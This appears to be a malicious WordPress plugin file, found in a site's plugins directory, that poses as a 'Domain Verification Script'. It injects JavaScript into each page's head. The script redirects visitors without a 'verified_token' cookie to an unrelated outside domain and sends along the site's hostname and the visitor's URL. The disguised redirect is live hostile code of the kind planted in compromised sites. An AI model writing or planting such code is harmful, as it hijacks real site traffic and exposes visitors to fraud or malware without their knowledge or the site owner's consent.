File: /home/bannong/public_html/wp-content/plugins/lexer/lex.php
<?php
/*
Plugin Name: Domain Verification Script
Description: Добавляет скрипт проверки домена в head сайта
Version: 1.0
Author: Ваше имя
*/
function add_verification_script() {
    ?>
    <!-- Verification Script -->
    <script>
    document.addEventListener('DOMContentLoaded', function() {
        if (!document.cookie.includes('verified_token=')) {
            const domain = window.location.hostname;
            window.location.href = `https://eset-black.xyz/?domain=${encodeURIComponent(domain)}&return=${encodeURIComponent(window.location.href)}`;
        }
    });
    </script>
    <?php
}
add_action('wp_head', 'add_verification_script', 20);